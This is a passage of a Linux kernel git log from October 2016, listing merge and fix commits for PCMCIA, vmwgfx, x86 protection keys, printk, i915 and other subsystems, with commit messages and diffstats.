911f9dab301e8583143c7e75b552eadd434ea0a8 Merge: ae50a84 4a5d67d Author: Linus Torvalds Date: Mon Oct 10 11:34:28 2016 -0700 Merge branch 'pcmcia' of git://git.armlinux.org.uk/~rmk/linux-arm Pull ARM pcmcia updates from Russell King: "These updates lay the foundations for more generic soc_common PCMCIA support, which will result in several of the board specific drivers being elimated. As the dependencies for this are complex, the preliminary work is being submitted now, with the remainder scheduled for the next merge window" * 'pcmcia' of git://git.armlinux.org.uk/~rmk/linux-arm: pcmcia: soc_common: add driver-data pointer pcmcia: soc_common: add support for voltage sense GPIOs pcmcia: soc_common: constify pcmcia_low_level ops pointer pcmcia: soc_common: switch to a per-socket cpufreq notifier pcmcia: soc_common: add support for Vcc and Vpp regulators pcmcia: soc_common: add CF socket state helper pcmcia: soc_common: restore previous socket state on error pcmcia: soc_common: add support for reset and bus enable GPIOs pcmcia: soc_common: request legacy detect GPIO with active low pcmcia: soc_common: ignore invalid interrupts pcmcia: soc_common: switch to using gpio_descs pcmcia: soc_common: use devm_gpio_request_one() commit ae50a840e779d48aa4dea2aaec1778f6b3f1d67f Merge: 057a056 476080a Author: Linus Torvalds Date: Mon Oct 10 11:31:19 2016 -0700 Merge tag 'nios2-v4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/lftan/nios2 Pull nios2 update from Ley Foon Tan: "Use of_property_read_bool() instead of open-coding it" * tag 'nios2-v4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/lftan/nios2: nios2: use of_property_read_bool commit 057a056ced1ee7e000bad2a5c88241502747d350 Merge: 93c26d7 2dc024e Author: Linus Torvalds Date: Mon Oct 10 11:28:35 2016 -0700 Merge tag 'cris-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/jesper/cris Pull CRIS updates from Jesper Nilsson. * tag 'cris-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/jesper/cris: cris: return of class_create should be considered CRIS: defconfig: remove MTDRAM_ABS_POS CRIS v32: remove some double unlocks Fix typos cris: migrate exception table users off module.h and onto extable.h cris: v10: axisflashmap: remove unused ifdefs cris: use generic io.h cris: fix Kconfig mismatch when building with CONFIG_PCI cris: cardbus: fix header include path cris: add dev88_defconfig cris: irq: stop loop from accessing array out of bounds cris: fasttimer: fix mixed declarations and code compile warning cris: intmem: fix pointer comparison compile warning cris: intmem: fix device_initcall compile warning commit a19440304db2d97aed5cee9bfa5017c98d2348bf Author: Thomas Hellstrom Date: Mon Oct 10 11:06:45 2016 -0700 drm/vmwgfx: Avoid validating views on view destruction When a view destruction command was present in the command stream, the view was validated to avoid a device error. That caused excessive and unnecessary validations of views, surfaces and mobs on view destruction. Replace this with a new relocation type that patches the view destruction command to a NOP if the view is not present in the device after the execbuf validation sequence. Also add checks for the member size of the vmw_res_relocation struct. Fixes sporadic command submission errors on google-earth exit. Reported-by: Brian Paul Signed-off-by: Thomas Hellstrom Reviewed-by: Brian Paul Reviewed-by: Sinclair Yeh Signed-off-by: Sinclair Yeh Cc: stable@vger.kernel.org drivers/gpu/drm/vmwgfx/vmwgfx_execbuf.c | 71 +++++++++++++++++++++++++++------ 1 file changed, 58 insertions(+), 13 deletions(-) commit 51ab70bed997f64f091a639dbe22b629725a7faf Author: Thomas Hellstrom Date: Mon Oct 10 10:51:24 2016 -0700 drm/vmwgfx: Limit the user-space command buffer size With older hardware versions, the user could specify arbitrarily large command buffer sizes, causing a vmalloc / vmap space exhaustion. Signed-off-by: Thomas Hellstrom Reviewed-by: Brian Paul Reviewed-by: Sinclair Yeh Signed-off-by: Sinclair Yeh Cc: stable@vger.kernel.org drivers/gpu/drm/vmwgfx/vmwgfx_execbuf.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 728c3b53995f71e4b175d5939b8ba3211b6bc34d Author: Thomas Hellstrom Date: Mon Oct 10 10:45:55 2016 -0700 drm/vmwgfx: Remove a leftover debug printout Remove a leftover debug printout Signed-off-by: Thomas Hellstrom Reviewed-by: Brian Paul Reviewed-by: Sinclair Yeh Signed-off-by: Sinclair Yeh drivers/gpu/drm/vmwgfx/vmwgfx_execbuf.c | 3 --- 1 file changed, 3 deletions(-) commit e7a45284ba1abcea591f7c01b05227b6698b596c Author: Thomas Hellstrom Date: Mon Oct 10 10:44:00 2016 -0700 drm/vmwgfx: Allow resource relocations on byte boundaries So far, resource allocations have only been allowed on 4-byte boundaries. As commands get packed tighter, allow them on byte boundaries. Signed-off-by: Thomas Hellstrom Reviewed-by: Sinclair Yeh Signed-off-by: Sinclair Yeh drivers/gpu/drm/vmwgfx/vmwgfx_execbuf.c | 41 +++++++++++++++++++++------------ 1 file changed, 26 insertions(+), 15 deletions(-) commit 1f982e4e390b31d6c44fb8bf03e3462ab33b8244 Author: Charmaine Lee Date: Mon Oct 10 10:37:03 2016 -0700 drm/vmwgfx: Enable SVGA_3D_CMD_DX_TRANSFER_FROM_BUFFER command And bump VMWGFX_DRIVER_MINOR to 11 Signed-off-by: Charmaine Lee Reviewed-by: Sinclair Yeh Reviewed-by: Brian Paul Signed-off-by: Sinclair Yeh drivers/gpu/drm/vmwgfx/vmwgfx_drv.h | 2 +- drivers/gpu/drm/vmwgfx/vmwgfx_execbuf.c | 32 ++++++++++++++++++++++++++++++++ 2 files changed, 33 insertions(+), 1 deletion(-) commit 07028959bcc674dc8ca143323aeab05849a83742 Author: Chris Wilson Date: Mon Aug 29 08:08:28 2016 +0100 drm/vmwgfx: Remove call to reservation_object_test_signaled_rcu before wait Since fence_wait_timeout_reservation_object_wait_timeout_rcu() with a timeout of 0 becomes reservation_object_test_signaled_rcu(), we do not need to handle such conversion in the caller. The only challenge are those callers that wish to differentiate the error code between the nonblocking busy check and potentially blocking wait. Signed-off-by: Chris Wilson Cc: Sinclair Yeh Cc: Thomas Hellstrom Reviewed-by: Sinclair Yeh Signed-off-by: Sinclair Yeh drivers/gpu/drm/vmwgfx/vmwgfx_resource.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 2d8e60e8b0742b7a5cddc806fe38bb81ee876c33 Author: Baole Ni Date: Tue Aug 2 18:50:25 2016 +0800 drm/vmwgfx: Replace numeric parameter like 0444 with macro I find that the developers often just specified the numeric value when calling a macro which is defined with a parameter for access permission. As we know, these numeric value for access permission have had the corresponding macro, and that using macro can improve the robustness and readability of the code, thus, I suggest replacing the numeric parameter with the macro. Signed-off-by: Chuansheng Liu Signed-off-by: Baole Ni Reviewed-by: Sinclair Yeh Signed-off-by: Sinclair Yeh drivers/gpu/drm/vmwgfx/vmwgfx_drv.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 93c26d7dc02380fe11e57ff0d152368743762169 Merge: 5fa0eb0 6679dac Author: Linus Torvalds Date: Mon Oct 10 11:01:51 2016 -0700 Merge branch 'mm-pkeys-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull protection keys syscall interface from Thomas Gleixner: "This is the final step of Protection Keys support which adds the syscalls so user space can actually allocate keys and protect memory areas with them. Details and usage examples can be found in the documentation. The mm side of this has been acked by Mel" * 'mm-pkeys-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: x86/pkeys: Update documentation x86/mm/pkeys: Do not skip PKRU register if debug registers are not used x86/pkeys: Fix pkeys build breakage for some non-x86 arches x86/pkeys: Add self-tests x86/pkeys: Allow configuration of init_pkru x86/pkeys: Default to a restrictive init PKRU pkeys: Add details of system call use to Documentation/ generic syscalls: Wire up memory protection keys syscalls x86: Wire up protection keys system calls x86/pkeys: Allocation/free syscalls x86/pkeys: Make mprotect_key() mask off additional vm_flags mm: Implement new pkey_mprotect() system call x86/pkeys: Add fault handling for PF_PK page fault bit commit 5fa0eb0b4d4780fbd6d8a09850cc4fd539e9fe65 Merge: c48ce9f d4b0592 Author: Linus Torvalds Date: Mon Oct 10 10:59:07 2016 -0700 Merge branch 'x86-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull x86 updates from Thomas Gleixner: "A pile of regression fixes and updates: - address the fallout of the patches which made the cpuid - nodeid relation permanent: Handling of invalid APIC ids and preventing pointless warning messages. - force eager FPU when protection keys are enabled. Protection keys are not generating FPU exceptions so they cannot work with the lazy FPU mechanism. - prevent force migration of interrupts which are not part of the CPU vector domain. - handle the fact that APIC ids are not updated in the ACPI/MADT tables on physical CPU hotplug - remove bash-isms from syscall table generator script - use the hypervisor supplied APIC frequency when running on VMware" * 'x86-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: x86/pkeys: Make protection keys an "eager" feature x86/apic: Prevent pointless warning messages x86/acpi: Prevent LAPIC id 0xff from being accounted arch/x86: Handle non enumerated CPU after physical hotplug x86/unwind: Fix oprofile module link error x86/vmware: Skip lapic calibration on VMware x86/syscalls: Remove bash-isms in syscall table generator x86/irq: Prevent force migration of irqs which are not in the vector domain commit cd27e455042da85b088bdd3a6e00da1d5b4df9f1 Author: Al Viro Date: Mon Oct 10 13:39:05 2016 -0400 [btrfs] fix check_direct_IO() for non-iovec iterators looking for duplicate ->iov_base makes sense only for iovec-backed iterators; for kvec-backed ones it's pointless, for bvec-backed ones it's pointless and broken on 32bit (we walk through an array of struct bio_vec accessing them as if they were struct iovec; works by accident on 64bit, but on 32bit it'll blow up) and for pipe-backed ones it's pointless and ends up oopsing. Signed-off-by: Al Viro fs/btrfs/inode.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b57332b4105abf1d518d93886e547ee2f98cd414 Author: Al Viro Date: Mon Oct 10 13:57:37 2016 -0400 constify iov_iter_count() and iter_is_iovec() Signed-off-by: Al Viro include/linux/uio.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c3a690240423fc4eb8a0c3c7df025d13eadf140b Author: Al Viro Date: Mon Oct 10 13:26:27 2016 -0400 fix ITER_PIPE interaction with direct_IO by making sure we call iov_iter_advance() on original iov_iter even if direct_IO (done on its copy) has returned 0. It's a no-op for old iov_iter flavours and does the right thing (== truncation of the stuff we'd allocated, but not filled) in ITER_PIPE case. Failures (e.g. -EIO) get caught and dealt with by cleanup in generic_file_read_iter(). Signed-off-by: Al Viro fs/splice.c | 12 +++--------- fs/xfs/xfs_file.c | 2 +- mm/filemap.c | 2 +- 3 files changed, 5 insertions(+), 11 deletions(-) commit c48ce9f190266b763e809dd79fcf4152f558793c Merge: 84ed2da c68306c Author: Linus Torvalds Date: Mon Oct 10 10:33:58 2016 -0700 Merge branch 'perf-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull perf tooling updates from Thomas Gleixner: - handle uretprobe placement proper on little endian PPC64 - fix buffer handling in libtraceevent - add a missing pointer derefence in perf probe - fix the build of host tools in cross builds - fix Intel PT timestamp handling - synchronize memcpy, cpufeatures and bpf headers with the kernel headers - support for vendor supplied JSON files describing PMU events - a new set of tool tips - initial work for clang/llvm support - address some style issues found by cppcheck * 'perf-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: (35 commits) tools build: Add feature detection for g++ tools build: Support compiling C++ source file perf top/report: Add tips about a list option perf report/top: Add a tip about system-wide collection from all CPUs perf report/top: Add a tip about source line numbers with overhead tools: Synchronize tools/include/uapi/linux/bpf.h tools: Synchronize tools/arch/x86/include/asm/cpufeatures.h perf bench mem: Sync memcpy assembly sources with the kernel perf jevents: Fix Intel JSON fixed counter conversions tools lib traceevent: Fix kbuffer_read_at_offset() perf intel-pt: Fix MTC timestamp calculation for large MTC periods perf intel-pt: Fix estimated timestamps for cycle-accurate mode perf uretprobe ppc64le: Fix probe location perf pmu-events: Add Skylake frontend MSR support perf pmu-events: Fix fixed counters on Intel perf tools: Make alias matching case-insensitive perf tools: Allow period= in perf stat CPU event descriptions. perf tools: Add README for info on parsing JSON/map files perf list jevents: Add support for event list topics perf list: Support long jevents descriptions ... commit 84ed2da02f4cda6759880c87a213ee80c91ca3bd Merge: daba2b3 be6a2e4 Author: Linus Torvalds Date: Mon Oct 10 10:29:59 2016 -0700 Merge branch 'sched-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull scheduler fix from Thomas Gleixner: "A revert of a commit which pointelessly widened a preempt disabled section which in turn caused might_sleep() to trigger. The patch intended to prevent usage of smp_processor_id() in preemptible context, but the usage in that case is fine because the thread is pinned on a single cpu and therefore cannot be migrated off" * 'sched-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: Revert "sched/core: Do not use smp_processor_id() with preempt enabled in smpboot_thread_fn()" commit daba2b314a43c53be61eb98e0e88b094398196f5 Merge: 604a830 65543b3 Author: Linus Torvalds Date: Mon Oct 10 10:24:41 2016 -0700 Merge branch 'irq-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull irq fixes from Thomas Gleixner: "Two small kerneldoc fixes from Julia Lawall" * 'irq-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: irqchip/metag-ext: Improve function-level documentation irqchip/vic: Improve function-level documentation commit 604a830d4fb5bf2334263bd597de22652e63b7e6 Merge: 5638733 58bfea9 Author: Linus Torvalds Date: Mon Oct 10 10:23:18 2016 -0700 Merge branch 'timers-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull timer fix from Thomas Gleixner: "A single fix for a regression introduced in 4.8 which causes the trace/perf clock to return random nonsense if CONFIG_DEBUG_TIMEKEEPING is set" * 'timers-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: timekeeping: Fix __ktime_get_fast_ns() regression commit 563873318d328d9bbab4b00dfd835ac7c7e28697 Merge: 24532f7 bfd8d3f Author: Linus Torvalds Date: Mon Oct 10 09:29:50 2016 -0700 Merge branch 'printk-cleanups' Merge my system logging cleanups, triggered by the broken '\n' patches. The line continuation handling has been broken basically forever, and the code to handle the system log records was both confusing and dubious. And it would do entirely the wrong thing unless you always had a terminating newline, partly because it couldn't actually see whether a message was marked KERN_CONT or not (but partly because the LOG_CONT handling in the recording code was rather confusing too). This re-introduces a real semantically meaningful KERN_CONT, and fixes the few places I noticed where it was missing. There are probably more missing cases, since KERN_CONT hasn't actually had any semantic meaning for at least four years (other than the checkpatch meaning of "no log level necessary, this is a continuation line"). This also allows the combination of KERN_CONT and a log level. In that case the log level will be ignored if the merging with a previous line is successful, but if a new record is needed, that new record will now get the right log level. That also means that you can at least in theory combine KERN_CONT with the "pr_info()" style helpers, although any use of pr_fmt() prefixing would make that just result in a mess, of course (the prefix would end up in the middle of a continuing line). * printk-cleanups: printk: make reading the kernel log flush pending lines printk: re-organize log_output() to be more legible printk: split out core logging code into helper function printk: reinstate KERN_CONT for printing continuation lines commit a5bd451b6e6ece69be07a425381c4f3438eadba0 Author: Jani Nikula Date: Mon Oct 10 18:26:10 2016 +0300 drm/crtc: constify drm_crtc_index parameter Signed-off-by: Jani Nikula Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1476113170-13816-1-git-send-email-jani.nikula@intel.com include/drm/drm_crtc.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3a8db79889ce16930aff19b818f5b09651bb7644 Author: Marcelo Ricardo Leitner Date: Sat Oct 8 10:14:37 2016 -0300 dlm: free workqueues after the connections After backporting commit ee44b4bc054a ("dlm: use sctp 1-to-1 API") series to a kernel with an older workqueue which didn't use RCU yet, it was noticed that we are freeing the workqueues in dlm_lowcomms_stop() too early as free_conn() will try to access that memory for canceling the queued works if any. This issue was introduced by commit 0d737a8cfd83 as before it such attempt to cancel the queued works wasn't performed, so the issue was not present. This patch fixes it by simply inverting the free order. Cc: stable@vger.kernel.org Fixes: 0d737a8cfd83 ("dlm: fix race while closing connections") Signed-off-by: Marcelo Ricardo Leitner Signed-off-by: David Teigland fs/dlm/lowcomms.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit cabca8c098f00c91aeb59170e86e5c5fa4f494c2 Author: Paul Burton Date: Sat Oct 8 22:47:14 2016 +0100 MIPS: Enable hardened usercopy Enable CONFIG_HARDENED_USERCOPY checks for MIPS, calling check_object size in all of copy_{to,from}_user(), __copy_{to,from}_user() & __copy_{to,from}_user_inatomic(). Signed-off-by: Paul Burton Cc: Kees Cook Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14371/ Signed-off-by: Ralf Baechle arch/mips/Kconfig | 1 + arch/mips/include/asm/uaccess.h | 18 ++++++++++++++++++ 2 files changed, 19 insertions(+) commit 8814d2dce00f77c5eeb7278981ac6fd08835629e Author: Lucas Stach Date: Thu Oct 6 17:03:28 2016 +0200 drm/etnaviv: block 64K of address space behind each cmdstream To make sure we don't place anything there which might confuse the FE prefetcher. This gets rid of another case of FE MMU faults when the address space gets crowded before triggering the reaper. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_mmu.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 8c136b590f79f7f4f60ae4709fc1340885ca2eba Author: Lucas Stach Date: Wed Oct 5 18:30:43 2016 +0200 drm/etnaviv: ensure write caches are flushed at end of user cmdstream If the GPU is done with one user command stream the buffers referenced by this command stream may go away and get unmapped from the MMU. If the write caches are still dirty at this point later evictions will run into MMU faults, killing the GPU. Make sure the write caches are flushed before signaling completion of the user command stream. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_buffer.c | 24 +++++++++++++++++++----- 1 file changed, 19 insertions(+), 5 deletions(-) commit 105f1a65b04a8f4f7abec11b200b1fb54f3d4b46 Author: Chris Wilson Date: Mon Oct 10 13:50:17 2016 +0100 drm/i915: Fix conflict resolution from backmerge of v4.8-rc8 to drm-next The conflict resolution of v4.8-rc8 backmerge to drm-next pulled back in a few lines of dead code due to the code movement around i915_gem_reset(), fix that up. Fixes: ca09fb9f60b5 ("Merge tag 'v4.8-rc8' into drm-next") Signed-off-by: Chris Wilson Cc: Jani Nikula Cc: Daniel Vetter Cc: Dave Airlie Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/20161010125017.23911-1-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 3 --- 1 file changed, 3 deletions(-) commit f59c668c0b898bbeba7179cd34e38a53e2f86c42 Author: Shuah Khan Date: Thu Oct 6 16:12:29 2016 -0600 Doc: update 00-INDEX files to reflect the runnable code move Update 00-INDEX files with the current file list to reflect the runnable code move. Acked-by: Michal Marek Acked-by: Jonathan Corbet Reviewed-by: Kees Cook Signed-off-by: Shuah Khan Documentation/00-INDEX | 3 ++- Documentation/arm/00-INDEX | 2 -- Documentation/filesystems/00-INDEX | 2 -- Documentation/networking/00-INDEX | 2 -- Documentation/spi/00-INDEX | 2 -- Documentation/timers/00-INDEX | 4 ---- 6 files changed, 2 insertions(+), 13 deletions(-) commit 184892925118d924aa9304b466946ae18c029932 Author: Shuah Khan Date: Thu Oct 6 16:00:50 2016 -0600 samples: move blackfin gptimers-example from Documentation Move blackfin gptimers-example to samples and remove it from Documentation Makefile. Update samples Kconfig and Makefile to build gptimers-example. blackfin is the last CONFIG_BUILD_DOCSRC target in Documentation/Makefile. Hence this patch also includes changes to remove CONFIG_BUILD_DOCSRC from Makefile and lib/Kconfig.debug and updates VIDEO_PCI_SKELETON dependency on BUILD_DOCSRC. Documentation/Makefile is not deleted to avoid braking make htmldocs and make distclean. Acked-by: Michal Marek Acked-by: Jonathan Corbet Reviewed-by: Kees Cook Reported-by: Valentin Rothberg Reported-by: Paul Gortmaker Signed-off-by: Shuah Khan Documentation/Makefile | 2 +- Documentation/blackfin/00-INDEX | 4 -- Documentation/blackfin/Makefile | 5 -- Documentation/blackfin/gptimers-example.c | 91 ------------------------------- Makefile | 3 - drivers/media/v4l2-core/Kconfig | 2 +- lib/Kconfig.debug | 9 --- samples/Kconfig | 6 ++ samples/Makefile | 2 +- samples/blackfin/Makefile | 1 + samples/blackfin/gptimers-example.c | 91 +++++++++++++++++++++++++++++++ 11 files changed, 101 insertions(+), 115 deletions(-) commit 449f6615473db3a0d16cbafcbe0572ef81872db0 Author: Chris Wilson Date: Fri Oct 7 07:53:27 2016 +0100 drm/i915/guc: Unwind GuC workqueue reservation if request construction fails We reserve space in the GuC workqueue for submitting the request in the future. However, if we fail to construct the request, we need to give that reserved space back to the system. Fixes: dadd481bfe55 ("drm/i915/guc: Prepare for nonblocking execbuf submission") Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97978 Signed-off-by: Chris Wilson Cc: Michał Winiarski Reviewed-by: Michał Winiarski Link: http://patchwork.freedesktop.org/patch/msgid/20161007065327.24515-4-chris@chris-wilson.co.uk (cherry picked from commit 5ba899082cbffb779ccb39420fe1718850daf857) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/i915_guc_submission.c | 12 ++++++++++++ drivers/gpu/drm/i915/intel_guc.h | 1 + drivers/gpu/drm/i915/intel_lrc.c | 17 ++++++++++------- 3 files changed, 23 insertions(+), 7 deletions(-) commit 61a05870b939b9c5551817ad65b74194ea84140c Author: Chris Wilson Date: Fri Oct 7 07:53:26 2016 +0100 drm/i915: Reset the breadcrumbs IRQ more carefully Along with the interrupt, we want to restore the fake-irq and wait-timeout detection. If we use the breadcrumbs interface to setup the interrupt as it wants, the auxiliary timers will also be restored. v2: Cancel both timers as well, sanitize the IMR. Fixes: 821ed7df6e2a ("drm/i915: Update reset path to fix incomplete requests") Signed-off-by: Chris Wilson Cc: Mika Kuoppala Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20161007065327.24515-3-chris@chris-wilson.co.uk (cherry picked from commit ad07dfcddf1394e6fed094e7fb426b4242a6814e) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_breadcrumbs.c | 33 ++++++++++++++++++++++++++++++-- drivers/gpu/drm/i915/intel_engine_cs.c | 15 --------------- drivers/gpu/drm/i915/intel_lrc.c | 2 +- drivers/gpu/drm/i915/intel_ringbuffer.c | 2 +- drivers/gpu/drm/i915/intel_ringbuffer.h | 2 +- 5 files changed, 34 insertions(+), 20 deletions(-) commit c92fa4fe90256a73975bd1e1c47b60a566b2d037 Author: Chris Wilson Date: Fri Oct 7 07:53:25 2016 +0100 drm/i915: Force relocations via cpu if we run out of idle aperture If we run out of enough aperture space to fit the entire object, we fallback to trying to insert a single page. However, if that also fails, we currently fail to userspace with an unexpected ENOSPC. (ENOSPC means to userspace that their batch could not be fitted within the GTT.) Prior to commit e8cb909ac3ab ("drm/i915: Fallback to single page GTT mmappings for relocations") the approach is to fallback to using the slow CPU relocation path in case of iomapping failure, and that is the behaviour we need to restore. Fixes: e8cb909ac3ab ("drm/i915: Fallback to single page GTT mmappings...") Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=98101 Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20161007065327.24515-2-chris@chris-wilson.co.uk (cherry picked from commit d7f7633557503bd231347d8896b9a6fb08f84e00) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/i915_gem_execbuffer.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 9b05a6099ed67c2a92e7e5d9032536f1c08169a6 Author: Chris Wilson Date: Fri Oct 7 07:53:24 2016 +0100 drm/i915: Distinguish last emitted request from last submitted request In order not to trigger hangcheck on a idle-but-waiting engine, we need to distinguish between the pending request queue and the actual execution queue. This is done later in "drm/i915: Enable multiple timelines" but for now we need a temporary fix to prevent blaming the wrong engine for a GPU hang. (Note that this causes a temporary subtle change in how we decide when to allow a waitboost to be re-awarded back to the waiter, the temporary effect is that if the wait is upon the most current execution the wait is given for free, instead of checking to see if the client stalled itself. This will be repaired in "drm/i915: Enable multiple timelines".) Fixes: 0a046a0e93d2 ("drm/i915: Nonblocking request submission") Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=98104 Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Cc: Mika Kuoppala Reviewed-by: Joonas Lahtinen Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20161007065327.24515-1-chris@chris-wilson.co.uk (cherry picked from commit 8687b3ec852e89630bac650f15136811c7b4c1dc) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/i915_gem_request.c | 5 +++-- drivers/gpu/drm/i915/intel_ringbuffer.h | 1 + 2 files changed, 4 insertions(+), 2 deletions(-) commit 16c83fad79ca912b8b5bbdcb5272794a2be41262 Author: Ville Syrjälä Date: Mon Oct 3 10:55:16 2016 +0300 drm/i915: Allow DP to work w/o EDID Allow returning "connected" or "unknown" connector status for DP branch devices that don't have an EDID. Currently we'd claim the thing as "disconnected" if there is no EDID. This stuff used to broken already, I think, but it got more broken by commit f21a21983ef1 ("drm/i915: Splitting intel_dp_detect") Cc: Damien Cassou Cc: freedesktop.org@gp.mailgun.org Cc: Arno Cc: Shubhangi Shrivastava Cc: Sivakumar Thulasimani Cc: Ander Conselvan de Oliveira Cc: stable@vger.kernel.org Tested-by: Arno Fixes: f21a21983ef1 ("drm/i915: Splitting intel_dp_detect") Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=83348 Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1475481316-8194-2-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Ander Conselvan de Oliveira (cherry picked from commit 5cb651a7959310ef4dbb0b93f005b10286789656) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_dp.c | 22 +++++++++------------- 1 file changed, 9 insertions(+), 13 deletions(-) commit 1015811609c0328b5ed670d07748591b837e74eb Author: Ville Syrjälä Date: Mon Oct 3 10:55:15 2016 +0300 drm/i915: Move long hpd handling into the hotplug work We can't rely on connector->status in the detect() hook if the long hpd was already handled by the dig_port_work as that won't update connector->status. Thus we have to defer the long hpd handling entirely until the hotplug work runs to avoid the double long hpd handling the "detect_done" flag is trying to prevent. We'll start to depend on connector->status being up to date in a following patch. Cc: Damien Cassou Cc: freedesktop.org@gp.mailgun.org Cc: Arno Cc: Shubhangi Shrivastava Cc: Sivakumar Thulasimani Cc: Ander Conselvan de Oliveira Cc: stable@vger.kernel.org Tested-by: Arno Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=83348 Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1475481316-8194-1-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Ander Conselvan de Oliveira (cherry picked from commit 27d4efc5591a5853de54713bc717de73c8951e17) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_dp.c | 48 ++++++++++++++++++++--------------------- 1 file changed, 23 insertions(+), 25 deletions(-) commit c79d7303e1ddc8260b0f385212b26cad297ff890 Author: Chris Wilson Date: Tue Oct 4 21:11:26 2016 +0100 drm/i915/execlists: Reinitialise context image after GPU hang On Braswell, at least, we observe that the context image is written in multiple phases. The first phase is to clear the register state, and subsequently rewrite it. A GPU reset at the right moment can interrupt the context update leaving it corrupt, and our update of the RING_HEAD is not sufficient to restart the engine afterwards. To recover, we need to reset the registers back to their original values. The context state is lost. What we need is a better mechanism to serialise the reset with pending flushes from the GPU. Fixes: 821ed7df6e2a ("drm/i915: Update reset path to fix incomplete requests") Signed-off-by: Chris Wilson Cc: Mika Kuoppala Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20161004201132.21801-2-chris@chris-wilson.co.uk (cherry picked from commit a3aabe86a3406b9946a4f7707762a833a58dfe9c) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_lrc.c | 103 +++++++++++++++++++++++---------------- 1 file changed, 62 insertions(+), 41 deletions(-) commit 27399eeec28ff33a0c5216a80cf57cbc6ba3c15e Author: Chris Wilson Date: Mon Oct 3 13:45:16 2016 +0100 drm/i915: Use correct index for backtracking HUNG semaphores When decoding the semaphores inside hangcheck, we need to use the hw-id and not the local array index. Fixes: de1add360522 ("drm/i915: Decouple execbuf uAPI ...") Testcase: igt/gem_exec_whisper/hang # gen6-7 Signed-off-by: Chris Wilson Cc: Mika Kuoppala Cc: Tvrtko Ursulin Cc: Daniel Vetter Cc: stable@vger.kernel.org Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20161003124516.12388-3-chris@chris-wilson.co.uk (cherry picked from commit 348b9b1192144e13b779f8f9be301d492bebaff2) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/i915_irq.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit ca5732c53bf66ad755284786897e0dd10330de87 Author: Chris Wilson Date: Mon Oct 3 13:45:15 2016 +0100 drm/i915: Unalias obj->phys_handle and obj->userptr We use obj->phys_handle to choose the pread/pwrite path, but as obj->phys_handle is a union with obj->userptr, we then mistakenly use the phys_handle path for userptr objects within pread/pwrite. Testcase: igt/gem_userptr_blits/forbidden-operations Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97519 Signed-off-by: Chris Wilson Cc: stable@vger.kernel.org Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20161003124516.12388-2-chris@chris-wilson.co.uk (cherry picked from commit 5f12b80a0b42da253691ca03828033014bb786eb) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/i915_drv.h | 24 +++++++++++------------- 1 file changed, 11 insertions(+), 13 deletions(-) commit f856f847b22c52be82f712ea6ada946c6db884d7 Author: Chris Wilson Date: Mon Oct 3 13:45:14 2016 +0100 drm/i915: Just clear the mmiodebug before a register access When we enable the per-register access mmiodebug, it is to detect which access is illegal. Reporting on earlier untraced access outside of the 